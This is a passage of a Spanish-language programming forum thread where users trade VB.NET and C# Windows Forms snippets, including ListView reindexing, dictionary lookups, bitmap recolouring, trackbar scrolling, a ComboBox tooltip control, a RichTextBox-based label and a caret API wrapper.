  51.            Case TimeFormat.H_M_S
  52.                Return Time.ToString("hh\:mm\:ss")
  53.            Case TimeFormat.H_M
  54.                Return Time.ToString("hh\:mm")
  55.            Case TimeFormat.H
  56.                Return Time.ToString("hh")
  57.            Case TimeFormat.M_S_MS
  58.                Return Time.ToString("mm\:ss\:fff")
  59.            Case TimeFormat.M_S
  60.                Return Time.ToString("mm\:ss")
  61.            Case TimeFormat.M
  62.                Return Time.ToString("mm")
  63.            Case TimeFormat.S_MS
  64.                Return Time.ToString("ss\:fff")
  65.            Case TimeFormat.S
  66.                Return Time.ToString("ss")
  67.            Case Else
  68.                Return Nothing
  69.        End Select
  70.  
  71.    End Function
  72.  
  73. #End Region





Cuando creo un listview suelo añadir un índice numérico en la primera columna, para mantener un orden, bueno pues este snippet sirve para reindexar esa columna por ejemplo cuando eliminamos un item del listview.

(http://img42.imageshack.us/img42/3240/kpkp.png)

Código
  1. #Region " ReIndex ListView "
  2.  
  3.    ' [ ReIndex ListView ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' ReIndex_ListView(ListView1)
  9.  
  10.    ' ReIndex ListView [SUB]
  11.    Private Sub ReIndex_ListView(ByVal ListView As ListView, Optional ByVal Column As Int32 = 0)
  12.        Dim Index As Int32 = 0
  13.        For Each Item As ListViewItem In ListView.Items
  14.            Index += 1
  15.            Item.SubItems(Column).Text = Index
  16.        Next
  17.    End Sub
  18.  
  19. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 3 Julio 2013, 17:56 pm
Actualizada la colección de snippets con un total de 400 Snippets...
...Casi nada!!

-> http://elektrostudios.tk/Snippets.zip (http://elektrostudios.tk/Snippets.zip)

En la primera página de este hilo tienen un índice de todos los snippets que contiene el pack.

Saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 4 Julio 2013, 11:24 am
Devolvuelve la Key equivalente de un Value de un dictionary:

Código
  1.    Public Function FindKeyByValue(Of TKey, TValue)(dictionary As Dictionary(Of TKey, TValue), value As TValue) As TKey
  2.  
  3.        For Each pair As KeyValuePair(Of TKey, TValue) In dictionary
  4.            If value.Equals(pair.Value) Then Return pair.Key
  5.        Next
  6.  
  7.        ' Throw New Exception("The value is not found in the dictionary.")
  8.        Return Nothing
  9.    End Function


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 4 Julio 2013, 16:39 pm
Algo como esto en C#, aunque como digo, me resulta tan corto que no me gusta ponerlo en funciones/métodos :xD

Código
  1. public K FindKeyByValue<K, V>(Dictionary<K, V> dictionary, V value)
  2. {
  3.    return dictionary.FirstOrDefault(k => k.Value.Equals(value)).Key;
  4. }

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 4 Julio 2013, 23:10 pm
Perdón por desvirtuar,

http://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1857514#msg1857514

Siempre me salta la Excepción de Could not set keyboard hook

Que puedo hacer? :S


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Julio 2013, 05:06 am
Algo como esto en C#

Muy bueno Nov!, gracias, la verdad es que necesitaba simplificar esa función y eres el único de todo stackoverflow que ha llegado a conseguirlo xD.

Lo mismo pero en VB:

Código
  1.    Public Function Find_Dictionary_Key_By_Value(Of K, V)(Dictionary As Dictionary(Of K, V), Value As V) As K
  2.  
  3.        Dim Key = Dictionary.FirstOrDefault(Function(x) x.Value.Equals(Value)).Key
  4.  
  5.        If Key Is Nothing Then
  6.            Throw New Exception("The value is not found in the dictionary.")
  7.        End If
  8.  
  9.        Return Key
  10.  
  11.    End Function





http://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1857514#msg1857514

Siempre me salta la Excepción de Could not set keyboard hook

Que puedo hacer? :S

Se me olvidó mencionar este detalle:

Citar
Project -> Properties -> Debug -> Uncheck “Enable the Visual Studio hosting process”

Saludos!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Julio 2013, 05:31 am
Modifica el color de un Bitmap

Código
  1. #Region " Fill Bitmap Color "
  2.  
  3.    ' [ Fill Bitmap Color Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' IMPORTANT: use ARGB colors as the parameter.
  8.    ' PictureBox1.BackgroundImage = Fill_Bitmap_Color(bmp, Color.FromArgb(255, 255, 255, 255), Color.Red)
  9.  
  10.    Private Function Fill_Bitmap_Color(ByVal Image As Bitmap, ByVal FromColor As Color, ByVal ToColor As Color)
  11.  
  12.        Dim bmp As New Bitmap(Image)
  13.  
  14.        Dim x As Integer = 0, y As Integer = 0
  15.  
  16.        While x < bmp.Width
  17.            y = 0
  18.            While y < bmp.Height
  19.                If Image.GetPixel(x, y) = FromColor Then bmp.SetPixel(x, y, ToColor)
  20.                Math.Max(Threading.Interlocked.Increment(y), y - 1)
  21.            End While
  22.            Math.Max(Threading.Interlocked.Increment(x), x - 1)
  23.        End While
  24.  
  25.        Return bmp
  26.  
  27.    End Function
  28.  
  29. #End Region





Mueve el slider de un "GTrackBar" de forma progresiva al mantener presionada una tecla de dirección.

Se necesita el control extendido GTrackBar: http://www.codeproject.com/Articles/35104/gTrackBar-A-Custom-TrackBar-UserControl-VB-NET

Código
  1. ' By Elektro H@cker
  2. #Region " [GTrackBar] Progressive Scroll "
  3.  
  4.    Dim TrackBar_SmallChange As Int32 = 5
  5.    Dim TrackBar_LargeChange As Int32 = 10
  6.  
  7.    ' GTrackBar [KeyDown]
  8.    Private Sub GTrackBar_KeyDown(sender As Object, e As KeyEventArgs) Handles GTrackBar1.KeyDown
  9.  
  10.        sender.ChangeSmall = 0
  11.        sender.ChangeLarge = 0
  12.  
  13.        Select Case e.KeyCode
  14.            Case Keys.Left, Keys.Right, Keys.Up, Keys.Down
  15.                MakeScroll_TrackBar(sender, e.KeyCode)
  16.        End Select
  17.  
  18.    End Sub
  19.  
  20.    ' GTrackBar [KeyUp]
  21.    Private Sub GTrackBar_KeyUp(sender As Object, e As KeyEventArgs) Handles GTrackBar1.KeyUp
  22.        ' Set the values on KeyUp event because the Trackbar Scroll event.
  23.        sender.ChangeSmall = TrackBar_SmallChange
  24.        sender.ChangeLarge = TrackBar_LargeChange
  25.    End Sub
  26.  
  27.    ' MakeScroll TrackBar
  28.    Private Sub MakeScroll_TrackBar(ByVal GTrackBar As gTrackBar.gTrackBar, key As Keys)
  29.  
  30.        Select Case key
  31.            Case Keys.Left
  32.                GTrackBar.Value -= TrackBar_SmallChange
  33.            Case Keys.Right
  34.                GTrackBar.Value += TrackBar_SmallChange
  35.            Case Keys.Up
  36.                GTrackBar.Value += TrackBar_LargeChange
  37.            Case Keys.Down
  38.                GTrackBar.Value -= TrackBar_LargeChange
  39.        End Select
  40.  
  41.    End Sub
  42.  
  43. #End Region

...Lo mismo pero si tenemos múltiples GTrackbars:

Código
  1. ' By Elektro H@cker
  2. #Region " [GTrackBar] Progressive Scroll MultiTrackbars "
  3.  
  4.    Dim TrackBar1_SmallChange As Int32 = 2
  5.    Dim TrackBar1_LargeChange As Int32 = 5
  6.  
  7.    Dim TrackBar2_SmallChange As Int32 = 5
  8.    Dim TrackBar2_LargeChange As Int32 = 10
  9.  
  10.    ' GTrackBar [KeyDown]
  11.    Private Sub GTrackBars_KeyDown(sender As Object, e As KeyEventArgs) Handles GTrackBar1.KeyDown, GTrackBar2.KeyDown
  12.  
  13.        sender.ChangeSmall = 0
  14.        sender.ChangeLarge = 0
  15.  
  16.        Select Case e.KeyCode
  17.            Case Keys.Left, Keys.Right, Keys.Up, Keys.Down
  18.                MakeScroll_TrackBar(sender, e.KeyCode)
  19.        End Select
  20.  
  21.    End Sub
  22.  
  23.    ' GTrackBar [KeyUp]
  24.    Private Sub GTrackBars_KeyUp(sender As Object, e As KeyEventArgs) Handles GTrackBar1.KeyUp, GTrackBar2.KeyUp
  25.  
  26.        ' Set the values on KeyUp event because the Trackbar Scroll event.
  27.  
  28.        Select Case sender.Name
  29.            Case "GTrackBar1"
  30.                sender.ChangeSmall = TrackBar1_SmallChange
  31.                sender.ChangeLarge = TrackBar1_LargeChange
  32.            Case "GTrackBar_2"
  33.                sender.ChangeSmall = TrackBar2_SmallChange
  34.                sender.ChangeLarge = TrackBar2_LargeChange
  35.        End Select
  36.  
  37.    End Sub
  38.  
  39.    ' MakeScroll TrackBar
  40.    Private Sub MakeScroll_TrackBar(ByVal GTrackBar As gTrackBar.gTrackBar, key As Keys)
  41.  
  42.        Dim SmallChange As Int32 = 0, Largechange As Int32 = 0
  43.  
  44.        Select Case GTrackBar.Name
  45.            Case "GTrackBar1"
  46.                SmallChange = TrackBar1_SmallChange
  47.                Largechange = TrackBar1_LargeChange
  48.            Case "GTrackBar2"
  49.                SmallChange = TrackBar2_SmallChange
  50.                Largechange = TrackBar2_LargeChange
  51.        End Select
  52.  
  53.        Select Case key
  54.            Case Keys.Left
  55.                GTrackBar.Value -= SmallChange
  56.            Case Keys.Right
  57.                GTrackBar.Value += SmallChange
  58.            Case Keys.Up
  59.                GTrackBar.Value += Largechange
  60.            Case Keys.Down
  61.                GTrackBar.Value -= Largechange
  62.        End Select
  63.  
  64.    End Sub
  65.  
  66. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Julio 2013, 07:10 am
[ComboBoxTooltip] Show tooltip when text exceeds ComboBox width

(Muestra un tooltip cuando el tamaño del Item supera el tamaño del ComboBox.)

(http://img23.imageshack.us/img23/2609/oujn.jpg)

Código
  1.    Dim LastSelectedItem As Int32 = -1
  2.  
  3.    Private Sub ComboBoxTooltip_DropdownItemSelected(sender As Object, e As ComboBoxTooltip.DropdownItemSelectedEventArgs) _
  4.    Handles ComboBoxTooltip1.DropdownItemSelected
  5.  
  6.        Dim SelectedItem As Int32 = e.SelectedItem
  7.  
  8.        If SelectedItem <> LastSelectedItem Then
  9.            ToolTip1.Hide(sender)
  10.            LastSelectedItem = -1
  11.        End If
  12.  
  13.        If SelectedItem < 0 OrElse e.Scrolled Then
  14.            ToolTip1.Hide(sender)
  15.            LastSelectedItem = -1
  16.        Else
  17.            If sender.Items(e.SelectedItem).Length > CInt(sender.CreateGraphics.MeasureString(0, sender.Font).Width) + 8 Then
  18.                LastSelectedItem = SelectedItem
  19.                ToolTip1.Show(sender.Items(SelectedItem).ToString(), sender, e.Bounds.Location)
  20.            End If
  21.        End If
  22.  
  23.    End Sub

Es necesario este usercontrol:

Código
  1. using System;
  2. using System.Drawing;
  3. using System.Windows.Forms;
  4. using System.Runtime.InteropServices;
  5.  
  6. public class ComboBoxTooltip : ComboBox
  7. {
  8.    private DropdownWindow mDropdown;
  9.    public delegate void DropdownItemSelectedEventHandler(object sender, DropdownItemSelectedEventArgs e);
  10.    public event DropdownItemSelectedEventHandler DropdownItemSelected;
  11.  
  12.    protected override void OnDropDown(EventArgs e)
  13.    {
  14.        // Install wrapper
  15.        base.OnDropDown(e);
  16.        // Retrieve handle to dropdown list
  17.        COMBOBOXINFO info = new COMBOBOXINFO();
  18.        info.cbSize = Marshal.SizeOf(info);
  19.        SendMessageCb(this.Handle, 0x164, IntPtr.Zero, out info);
  20.        mDropdown = new DropdownWindow(this);
  21.        mDropdown.AssignHandle(info.hwndList);
  22.    }
  23.    protected override void OnDropDownClosed(EventArgs e)
  24.    {
  25.        // Remove wrapper
  26.        mDropdown.ReleaseHandle();
  27.        mDropdown = null;
  28.        base.OnDropDownClosed(e);
  29.        OnSelect(-1, Rectangle.Empty, true);
  30.    }
  31.    internal void OnSelect(int item, Rectangle pos, bool scroll)
  32.    {
  33.        if (this.DropdownItemSelected != null)
  34.        {
  35.            pos = this.RectangleToClient(pos);
  36.            DropdownItemSelected(this, new DropdownItemSelectedEventArgs(item, pos, scroll));
  37.        }
  38.    }
  39.    // Event handler arguments
  40.    public class DropdownItemSelectedEventArgs : EventArgs
  41.    {
  42.        private int mItem;
  43.        private Rectangle mPos;
  44.        private bool mScroll;
  45.        public DropdownItemSelectedEventArgs(int item, Rectangle pos, bool scroll) { mItem = item; mPos = pos; mScroll = scroll; }
  46.        public int SelectedItem { get { return mItem; } }
  47.        public Rectangle Bounds { get { return mPos; } }
  48.        public bool Scrolled { get { return mScroll; } }
  49.    }
  50.  
  51.    // Wrapper for combobox dropdown list
  52.    private class DropdownWindow : NativeWindow
  53.    {
  54.        private ComboBoxTooltip mParent;
  55.        private int mItem;
  56.        public DropdownWindow(ComboBoxTooltip parent)
  57.        {
  58.            mParent = parent;
  59.            mItem = -1;
  60.        }
  61.        protected override void WndProc(ref Message m)
  62.        {
  63.            // All we're getting here is WM_MOUSEMOVE, ask list for current selection for LB_GETCURSEL
  64.            Console.WriteLine(m.ToString());
  65.            base.WndProc(ref m);
  66.            if (m.Msg == 0x200)
  67.            {
  68.                int item = (int)SendMessage(this.Handle, 0x188, IntPtr.Zero, IntPtr.Zero);
  69.                if (item != mItem)
  70.                {
  71.                    mItem = item;
  72.                    OnSelect(false);
  73.                }
  74.            }
  75.            if (m.Msg == 0x115)
  76.            {
  77.                // List scrolled, item position would change
  78.                OnSelect(true);
  79.            }
  80.        }
  81.        private void OnSelect(bool scroll)
  82.        {
  83.            RECT rc = new RECT();
  84.            SendMessageRc(this.Handle, 0x198, (IntPtr)mItem, out rc);
  85.            MapWindowPoints(this.Handle, IntPtr.Zero, ref rc, 2);
  86.            mParent.OnSelect(mItem, Rectangle.FromLTRB(rc.Left, rc.Top, rc.Right, rc.Bottom), scroll);
  87.        }
  88.    }
  89.    // P/Invoke declarations
  90.    private struct COMBOBOXINFO
  91.    {
  92.        public Int32 cbSize;
  93.        public RECT rcItem;
  94.        public RECT rcButton;
  95.        public int buttonState;
  96.        public IntPtr hwndCombo;
  97.        public IntPtr hwndEdit;
  98.        public IntPtr hwndList;
  99.    }
  100.    [StructLayout(LayoutKind.Sequential)]
  101.    private struct RECT
  102.    {
  103.        public int Left;
  104.        public int Top;
  105.        public int Right;
  106.        public int Bottom;
  107.    }
  108.    [DllImport("user32.dll", EntryPoint = "SendMessageW", CharSet = CharSet.Unicode)]
  109.    private static extern IntPtr SendMessageCb(IntPtr hWnd, int msg, IntPtr wp, out COMBOBOXINFO lp);
  110.    [DllImport("user32.dll", EntryPoint = "SendMessageW", CharSet = CharSet.Unicode)]
  111.    private static extern IntPtr SendMessageRc(IntPtr hWnd, int msg, IntPtr wp, out RECT lp);
  112.    [DllImport("user32.dll")]
  113.    private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wp, IntPtr lp);
  114.    [DllImport("user32.dll")]
  115.    private static extern int MapWindowPoints(IntPtr hWndFrom, IntPtr hWndTo, [In, Out] ref RECT rc, int points);
  116. }
  117.  


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 5 Julio 2013, 12:43 pm
Añadir difentes estilos a un "Label" (en realidad se usa un RichTextBox >:D)

Código
  1. 'Ejemplos:
  2.  
  3.        'RichTextLabel.AddTextWithFont("algo de texto con Arial al 12", New Font("Arial", 12, FontStyle.Bold), RichTextBox1)
  4.        'RichTextLabel.AddTextWithColor("ROOOJOOORL xD", Color.Red, RichTextBox1)
  5.        'RichTextLabel.AddTextWithColor(vbCrLf & "nueva linea y algo de texto", Color.Black, RichTextBox1)
  6.  
  7.  
  8. Public Class RichTextLabel
  9.  
  10.    Public Shared Sub AddTextWithFont(ByVal sText As String, ByVal oFont As Font, ByVal rtb As RichTextBox)
  11.  
  12.        Dim index As Integer
  13.        index = rtb.TextLength
  14.        rtb.AppendText(sText)
  15.        rtb.SelectionStart = index
  16.        rtb.SelectionLength = rtb.TextLength - index
  17.        rtb.SelectionFont = oFont
  18.        rtb.BorderStyle = System.Windows.Forms.BorderStyle.None
  19.        rtb.ReadOnly = True
  20.        rtb.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.None
  21.  
  22.    End Sub
  23.  
  24.    Public Shared Sub AddTextWithColor(ByVal sText As String, ByVal oColor As Color, ByVal rtb As RichTextBox)
  25.  
  26.        Dim index As Integer
  27.        index = rtb.TextLength
  28.        rtb.AppendText(sText)
  29.        rtb.SelectionStart = index
  30.        rtb.SelectionLength = rtb.TextLength - index
  31.        rtb.SelectionColor = oColor
  32.        rtb.BorderStyle = System.Windows.Forms.BorderStyle.None
  33.        rtb.ReadOnly = True
  34.        rtb.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.None
  35.  
  36.    End Sub
  37.  
  38. End Class
  39.  

Un saludo. >:D


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Julio 2013, 13:20 pm
Añadir difentes estilos a un "Label" (en realidad se usa un RichTextBox >:D)

Se puede mejorar muy mucho, para evitar todas las cosas que dije... aquí tienes:

Código
  1. Add_Text_With_Color(RichTextBox1, "algo de texto con Arial al 12", RichTextBox1.ForeColor, New Font("Arial", 12, FontStyle.Bold))
  2. Add_Text_With_Color(RichTextBox1, " ROOOJOOORL xD", Color.Red)
  3. Add_Text_With_Color(RichTextBox1, Environment.NewLine & "nueva linea y algo de texto", Color.Black)

Código
  1.    Public Sub Add_Text_With_Color(ByVal richTextBox As RichTextBox, _
  2.                                          ByVal text As String, _
  3.                                          ByVal color As Color, _
  4.                                          Optional ByVal font As Font = Nothing)
  5.  
  6.        richTextBox.Enabled = False
  7.        richTextBox.BorderStyle = BorderStyle.None
  8.        richTextBox.ScrollBars = RichTextBoxScrollBars.None
  9.  
  10.        Dim index As Int32 = richTextBox.TextLength
  11.        richTextBox.AppendText(text)
  12.        richTextBox.SelectionStart = index
  13.        richTextBox.SelectionLength = richTextBox.TextLength - index
  14.        richTextBox.SelectionColor = color
  15.        If font IsNot Nothing Then richTextBox.SelectionFont = font
  16.  
  17.    End Sub
  18.  

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 5 Julio 2013, 13:34 pm
Tás colao, necesitas poner un Public Shared Sub y no un Public Sub na más. >:D
Por cierto, muchas gracias, como siempre mejorando mi Snippets... A ver si algún día es de al revés. ;) :laugh:


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Julio 2013, 13:47 pm
Tás colao, necesitas poner un Public Shared Sub y no un Public Sub na más. >:D

No me he colado Ikillnukes, el shared no es obligatorio, eso depende de las necesidades. En el snippet original hay una Class para meter dos mini procedimientos, en mi snippet como ves no hay ninguna Class externa y los dos procedimientos están simplificados en sólo uno, si necesitas sharearla pues hazlo.

Si lo quieres llamar desde otra class:
Código
  1. Form1.Add_Text_With_Color(Form1.RichTextBox1, "lo que sea", Color.AliceBlue)

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 6 Julio 2013, 05:56 am
Un RichTextBox optimizado para usarse como alternativa de Label , es un Label con posibilidad de añadir texto en distintos colores y en distintas fuentes.

(http://img24.imageshack.us/img24/355/ax8b.png)

Código
  1. '  /*               *\
  2. ' |#* RichTextLabel *#|
  3. '  \*               */
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. '   Description:
  8. '   ............
  9. ' · A RichTextbox used as a Label to set text using various colors.
  10. '
  11. '   Methods:
  12. '   ........
  13. ' · AppendText (Overload)
  14.  
  15. ' Examples:
  16. ' RichTextLabel1.AppendText("My ", Color.White, , New Font("Arial", 12, FontStyle.Bold))
  17. ' RichTextLabel1.AppendText("RichText-", Color.White, , New Font("Arial", 12, FontStyle.Bold))
  18. ' RichTextLabel1.AppendText("Label", Color.YellowGreen, Color.Black, New Font("Lucida console", 16, FontStyle.Italic))
  19.  
  20. Imports System.ComponentModel
  21.  
  22. Public Class RichTextLabel : Inherits RichTextBox
  23.  
  24.    Public Sub New()
  25.        MyBase.Enabled = False
  26.        MyBase.Size = New Point(200, 20)
  27.    End Sub
  28.  
  29. #Region " Overrided Properties "
  30.  
  31.    ''' <summary>
  32.    ''' Turn the control backcolor to transparent.
  33.    ''' </summary>
  34.    Protected Overrides ReadOnly Property CreateParams() As CreateParams
  35.        Get
  36.            Dim cp As CreateParams = MyBase.CreateParams
  37.            cp.ExStyle = (cp.ExStyle Or 32)
  38.            Return cp
  39.        End Get
  40.    End Property
  41.  
  42. #End Region
  43.  
  44. #Region " Shadowed Properties "
  45.  
  46.    ' AcceptsTab
  47.    ' Just hidden from the designer and editor.
  48.    <Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
  49.    Public Shadows Property AcceptsTab() As Boolean
  50.        Get
  51.            Return MyBase.AcceptsTab
  52.        End Get
  53.        Set(value As Boolean)
  54.            MyBase.AcceptsTab = False
  55.        End Set
  56.    End Property
  57.  
  58.    ' AutoWordSelection
  59.    ' Just hidden from the designer and editor.
  60.    <Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
  61.    Public Shadows Property AutoWordSelection() As Boolean
  62.        Get
  63.            Return MyBase.AutoWordSelection
  64.        End Get
  65.        Set(value As Boolean)
  66.            MyBase.AutoWordSelection = False
  67.        End Set
  68.    End Property
  69.  
  70.    ' BackColor
  71.    ' Not hidden, but little hardcoded 'cause the createparams transparency.
  72.    <Browsable(True), EditorBrowsable(EditorBrowsableState.Always)>
  73.    Public Shadows Property BackColor() As Color
  74.        Get
  75.            Return MyBase.BackColor
  76.        End Get
  77.        Set(value As Color)
  78.            MyBase.SelectionStart = 0
  79.            MyBase.SelectionLength = MyBase.TextLength
  80.            MyBase.SelectionBackColor = value
  81.            MyBase.BackColor = value
  82.        End Set
  83.    End Property
  84.  
  85.    ' BorderStyle
  86.    ' Just hidden from the designer and editor.
  87.    <Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
  88.    Public Shadows Property BorderStyle() As BorderStyle
  89.        Get
  90.            Return MyBase.BorderStyle
  91.        End Get
  92.        Set(value As BorderStyle)
  93.            MyBase.BorderStyle = BorderStyle.None
  94.        End Set
  95.    End Property
  96.  
  97.    ' Cursor
  98.    ' Hidden from the designer and editor,
  99.    ' because while the control is disabled the cursor always be the default even if changed.
  100.    <Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
  101.    Public Shadows Property Cursor() As Cursor
  102.        Get
  103.            Return MyBase.Cursor
  104.        End Get
  105.        Set(value As Cursor)
  106.            MyBase.Cursor = Cursors.Default
  107.        End Set
  108.    End Property
  109.  
  110.    ' Enabled
  111.    ' Hidden from the but not from the editor,
  112.    ' because to prevent exceptions when doing loops over a control collection to disable/enable controls.
  113.    <Browsable(False), EditorBrowsable(EditorBrowsableState.Always)>
  114.    Public Shadows Property Enabled() As Boolean
  115.        Get
  116.            Return MyBase.Enabled
  117.        End Get
  118.        Set(value As Boolean)
  119.            MyBase.Enabled = False
  120.        End Set
  121.    End Property
  122.  
  123.    ' HideSelection
  124.    ' Just hidden from the designer and editor.
  125.    <Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
  126.    Public Shadows Property HideSelection() As Boolean
  127.        Get
  128.            Return MyBase.HideSelection
  129.        End Get
  130.        Set(value As Boolean)
  131.            MyBase.HideSelection = True
  132.        End Set
  133.    End Property
  134.  
  135.    ' MaxLength
  136.    ' Just hidden from the designer and editor.
  137.    <Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
  138.    Public Shadows Property MaxLength() As Integer
  139.        Get
  140.            Return MyBase.MaxLength
  141.        End Get
  142.        Set(value As Integer)
  143.            MyBase.MaxLength = 2147483646
  144.        End Set
  145.    End Property
  146.  
  147.    ' ReadOnly
  148.    ' Just hidden from the designer and editor.
  149.    <Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
  150.    Public Shadows Property [ReadOnly]() As Boolean
  151.        Get
  152.            Return MyBase.ReadOnly
  153.        End Get
  154.        Set(value As Boolean)
  155.            MyBase.ReadOnly = True
  156.        End Set
  157.    End Property
  158.  
  159.    ' ScrollBars
  160.    ' Just hidden from the designer and editor.
  161.    <Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
  162.    Public Shadows Property ScrollBars() As RichTextBoxScrollBars
  163.        Get
  164.            Return MyBase.ScrollBars
  165.        End Get
  166.        Set(value As RichTextBoxScrollBars)
  167.            MyBase.ScrollBars = RichTextBoxScrollBars.None
  168.        End Set
  169.    End Property
  170.  
  171.    ' ShowSelectionMargin
  172.    ' Just hidden from the designer and editor.
  173.    <Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
  174.    Public Shadows Property ShowSelectionMargin() As Boolean
  175.        Get
  176.            Return MyBase.ShowSelectionMargin
  177.        End Get
  178.        Set(value As Boolean)
  179.            MyBase.ShowSelectionMargin = False
  180.        End Set
  181.    End Property
  182.  
  183.    ' TabStop
  184.    ' Just hidden from the designer and editor.
  185.    <Browsable(False), EditorBrowsable(EditorBrowsableState.Never)>
  186.    Public Shadows Property TabStop() As Boolean
  187.        Get
  188.            Return MyBase.TabStop
  189.        End Get
  190.        Set(value As Boolean)
  191.            MyBase.TabStop = False
  192.        End Set
  193.    End Property
  194.  
  195. #End Region
  196.  
  197. #Region " Funcs & Procs "
  198.  
  199.    ''' <summary>
  200.    ''' Append text to the current text.
  201.    ''' </summary>
  202.    ''' <param name="text">The text to append</param>
  203.    ''' <param name="forecolor">The font color</param>
  204.    ''' <param name="backcolor">The Background color</param>
  205.    ''' <param name="font">The font of the appended text</param>
  206.    Public Overloads Sub AppendText(ByVal text As String, _
  207.                          ByVal forecolor As Color, _
  208.                          Optional ByVal backcolor As Color = Nothing, _
  209.                          Optional ByVal font As Font = Nothing)
  210.  
  211.        Dim index As Int32 = MyBase.TextLength
  212.        MyBase.AppendText(text)
  213.        MyBase.SelectionStart = index
  214.        MyBase.SelectionLength = MyBase.TextLength - index
  215.        MyBase.SelectionColor = forecolor
  216.  
  217.        If Not backcolor = Nothing _
  218.        Then MyBase.SelectionBackColor = backcolor _
  219.        Else MyBase.SelectionBackColor = DefaultBackColor
  220.  
  221.        If font IsNot Nothing Then MyBase.SelectionFont = font
  222.  
  223.        ' Reset selection
  224.        MyBase.SelectionStart = MyBase.TextLength
  225.        MyBase.SelectionLength = 0
  226.  
  227.    End Sub
  228.  
  229. #End Region
  230.  
  231. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 6 Julio 2013, 09:22 am
Una Class que hice para manejar las API's del Caret.

7ZKRnT7qll4

Código
  1. #Region " Caret "
  2.  
  3. ' [ Caret Class ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Examples:
  8. ' Dim bmp As New Bitmap("C:\Image.jpg")
  9. ' Caret.Create(TextBox1, 7)
  10. ' Caret.Create(TextBox1, bmp, 20)
  11. ' Caret.BlinkTime(500)
  12. ' Caret.Hide(TextBox1)
  13. ' Caret.Show(TextBox1)
  14. ' Caret.Destroy()
  15.  
  16. Public Class Caret
  17.  
  18. #Region " API's "
  19.  
  20.    Private Declare Function CreateCaret Lib "user32" (ByVal hwnd As IntPtr, ByVal hBitmap As IntPtr, ByVal nWidth As Int64, ByVal nHeight As Int64) As Int64
  21.    Private Declare Function HideCaret Lib "user32" (ByVal hwnd As IntPtr) As Int64
  22.    Private Declare Function ShowCaret Lib "user32" (ByVal hwnd As IntPtr) As Int64
  23.    Private Declare Function SetCaretBlinkTime Lib "user32" (ByVal wMSeconds As Int64) As Int64
  24.    Private Declare Function SetCaretPos Lib "user32" (ByVal x As Int64, ByVal y As Int64) As Int64
  25.    Private Declare Function DestroyCaret Lib "user32" () As Int64
  26.  
  27. #End Region
  28.  
  29. #Region " Funcs & Procs "
  30.  
  31.    ''' <summary>
  32.    ''' Create a new caret.
  33.    ''' </summary>
  34.    ''' <param name="ctrl">The name of the control.</param>
  35.    ''' <param name="Width">The Width of the caret cursor.</param>
  36.    ''' <param name="Height">The name of the caret cursor.</param>
  37.    Public Shared Sub Create(ByVal ctrl As Control, _
  38.                             ByVal Width As Int32, _
  39.                             Optional ByVal Height As Int32 = 0)
  40.  
  41.        If Height = 0 Then
  42.            CreateCaret(ctrl.Handle, IntPtr.Zero, Width, (ctrl.Font.Size * 2))
  43.        Else
  44.            CreateCaret(ctrl.Handle, IntPtr.Zero, Width, Height)
  45.        End If
  46.  
  47.        Show(ctrl)
  48.  
  49.    End Sub
  50.  
  51.    ''' <summary>
  52.    ''' Create a new caret with Bitmap image.
  53.    ''' </summary>
  54.    ''' <param name="ctrl">The name of the control.</param>
  55.    ''' <param name="bmp">The Bitmap image to use.</param>
  56.    ''' <param name="Width">The Width of the caret cursor.</param>
  57.    ''' <param name="Height">The name of the caret cursor.</param>
  58.    Public Shared Sub Create(ByVal ctrl As Control, _
  59.                             ByVal bmp As Bitmap, _
  60.                             ByVal Width As Int32, _
  61.                             Optional ByVal Height As Int32 = 0)
  62.  
  63.  
  64.        If Height = 0 Then
  65.            bmp = Resize_Bitmap(bmp, Width, (ctrl.Font.Size * 2))
  66.            CreateCaret(ctrl.Handle, bmp.GetHbitmap, Width, (ctrl.Font.Size * 2))
  67.        Else
  68.            bmp = Resize_Bitmap(bmp, Width, Height)
  69.            CreateCaret(ctrl.Handle, bmp.GetHbitmap, Width, Height)
  70.        End If
  71.  
  72.        Show(ctrl)
  73.  
  74.    End Sub
  75.  
  76.    ''' <summary>
  77.    ''' Hide the caret.
  78.    ''' </summary>
  79.    ''' <param name="ctrl">The name of the control.</param>
  80.    Public Shared Sub Hide(ByVal ctrl As Control)
  81.        HideCaret(ctrl.Handle)
  82.    End Sub
  83.  
  84.    ''' <summary>
  85.    ''' Show the caret.
  86.    ''' </summary>
  87.    ''' <param name="ctrl">The name of the control.</param>
